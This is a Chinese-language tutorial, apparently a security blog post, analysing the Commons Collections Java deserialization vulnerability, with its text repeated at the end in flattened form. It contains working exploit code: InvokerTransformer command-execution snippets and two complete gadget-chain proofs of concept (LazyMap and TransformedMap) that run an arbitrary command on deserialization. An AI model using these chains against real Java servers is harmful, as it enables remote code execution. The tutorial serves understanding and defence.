Java反序列化漏洞-玄铁重剑之CommonsCollection(上)
字数 775 2025-08-29 08:32:00

Java反序列化漏洞分析:Commons Collections篇(上)

前言

Commons Collections是Java中广泛使用的集合处理框架,许多商业和开源项目都依赖它。然而,正是这个强大的库成为了Java反序列化漏洞的重要来源,影响了WebLogic、WebSphere、JBoss、Jenkins、OpenNMS等众多组件和容器。

核心漏洞点:InvokerTransformer

InvokerTransformer类是Commons Collections反序列化漏洞的核心,其transform方法实现了危险的反射调用:

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
}

利用示例

  1. 正常使用示例
InvokerTransformer invokerTransformer = new InvokerTransformer(
    "append", 
    new Class[]{String.class}, 
    new Object[]{new String("sb")}
);
Object result = invokerTransformer.transform(new StringBuffer("who am i"));
System.out.printf(result.toString());
  1. 命令执行示例
// Mac下
String[] cmds = new String[]{"open", "/Applications/Calculator.app/"};
InvokerTransformer invokerTransformer1 = new InvokerTransformer(
    "exec", 
    new Class[]{String[].class}, 
    new Object[]{cmds}
);
invokerTransformer1.transform(Runtime.getRuntime());

// Windows下
String[] cmds = new String[]{"calc.exe"};
InvokerTransformer invokerTransformer1 = new InvokerTransformer(
    "exec", 
    new Class[]{String[].class}, 
    new Object[]{cmds}
);
invokerTransformer1.transform(Runtime.getRuntime());
  1. 使用ProcessBuilder
ProcessBuilder processBuilder = new ProcessBuilder("open", "/Applications/Calculator.app/");
InvokerTransformer invokerTransformer1 = new InvokerTransformer(
    "start", 
    new Class[]{}, 
    new Object[]{}
);
invokerTransformer1.transform(processBuilder);

反序列化利用原理

Java反序列化的一个关键特性是:不管经过多少层封装,最终都会按照被封装的倒序执行readObject方法。这意味着我们可以在readObject中构造恶意代码。

简单示例

public class A implements Serializable {
    private void readObject(java.io.ObjectInputStream in) 
        throws IOException, ClassNotFoundException {
        try {
            System.out.printf("whoami");
            new ProcessBuilder("calc.exe").start();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

实际漏洞利用链分析

情况1:通过LazyMap.get()

调用链:

AnnotationInvocationHandler.readObject() 
→ AnnotationInvocationHandler.invoke() 
→ LazyMap.get() 
→ InvokerTransformer.transform()

关键点:

  1. 使用ChainedTransformer串联多个Transformer
final Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        execArgs),
    new ConstantTransformer(1)
};
  1. 完整POC:
final String[] execArgs = new String[] { command };
final Transformer transformerChain = new ChainedTransformer(
    new Transformer[]{ new ConstantTransformer(1)});
final Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[] {String.class, Class[].class}, 
        new Object[] {"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", 
        new Class[] {Object.class, Object[].class}, 
        new Object[] {null, new Object[0]}),
    new InvokerTransformer("exec", 
        new Class[] {String.class}, 
        execArgs),
    new ConstantTransformer(1)
};
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return handler;

情况2:通过TransformedMap.checkSetValue()

调用链:

InvokerTransformer.transform() 
→ TransformedMap.checkSetValue() 
→ AbstractInputCheckedMapDecorator.setValue() 
→ AnnotationInvocationHandler.readObject()

关键点:

  1. 需要满足两个条件:

    • memberValues不能为空
    • memberType不能为空
  2. 完整POC:

public InvocationHandler getObject(final String command) throws Exception {
    final String[] execArgs = new String[]{command};
    final Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", 
            new Class[]{ String.class, Class[].class}, 
            new Object[]{ "getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", 
            new Class[]{ Object.class, Object[].class}, 
            new Object[]{ null, new Object[0]}),
        new InvokerTransformer("exec", 
            new Class[]{ String.class}, 
            execArgs),
        new ConstantTransformer(1)
    };
    final Transformer transformerChain = new ChainedTransformer(
        new Transformer[]{new ConstantTransformer(1)});
    Map map = new HashMap();
    Map transformedmap = TransformedMap.decorate(map, null, transformerChain);
    transformedmap.put("value", "xx");
    Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    InvocationHandler handler = (InvocationHandler) 
        getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler")
        .newInstance(Retention.class, transformedmap);
    Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
    return handler;
}

防御措施

  1. 升级Commons Collections到安全版本
  2. 限制反序列化的类
  3. 使用安全的序列化/反序列化库
  4. 实施输入验证和过滤

总结

Commons Collections反序列化漏洞的核心在于InvokerTransformer类的滥用,通过精心构造的调用链可以实现任意代码执行。理解这些漏洞原理对于开发安全的Java应用至关重要。

Java反序列化漏洞分析:Commons Collections篇(上) 前言 Commons Collections是Java中广泛使用的集合处理框架,许多商业和开源项目都依赖它。然而,正是这个强大的库成为了Java反序列化漏洞的重要来源,影响了WebLogic、WebSphere、JBoss、Jenkins、OpenNMS等众多组件和容器。 核心漏洞点:InvokerTransformer InvokerTransformer 类是Commons Collections反序列化漏洞的核心,其 transform 方法实现了危险的反射调用: 利用示例 正常使用示例 : 命令执行示例 : 使用ProcessBuilder : 反序列化利用原理 Java反序列化的一个关键特性是:不管经过多少层封装,最终都会按照被封装的倒序执行 readObject 方法。这意味着我们可以在 readObject 中构造恶意代码。 简单示例 实际漏洞利用链分析 情况1:通过LazyMap.get() 调用链: 关键点: 使用 ChainedTransformer 串联多个 Transformer : 完整POC: 情况2:通过TransformedMap.checkSetValue() 调用链: 关键点: 需要满足两个条件: memberValues 不能为空 memberType 不能为空 完整POC: 防御措施 升级Commons Collections到安全版本 限制反序列化的类 使用安全的序列化/反序列化库 实施输入验证和过滤 总结 Commons Collections反序列化漏洞的核心在于 InvokerTransformer 类的滥用,通过精心构造的调用链可以实现任意代码执行。理解这些漏洞原理对于开发安全的Java应用至关重要。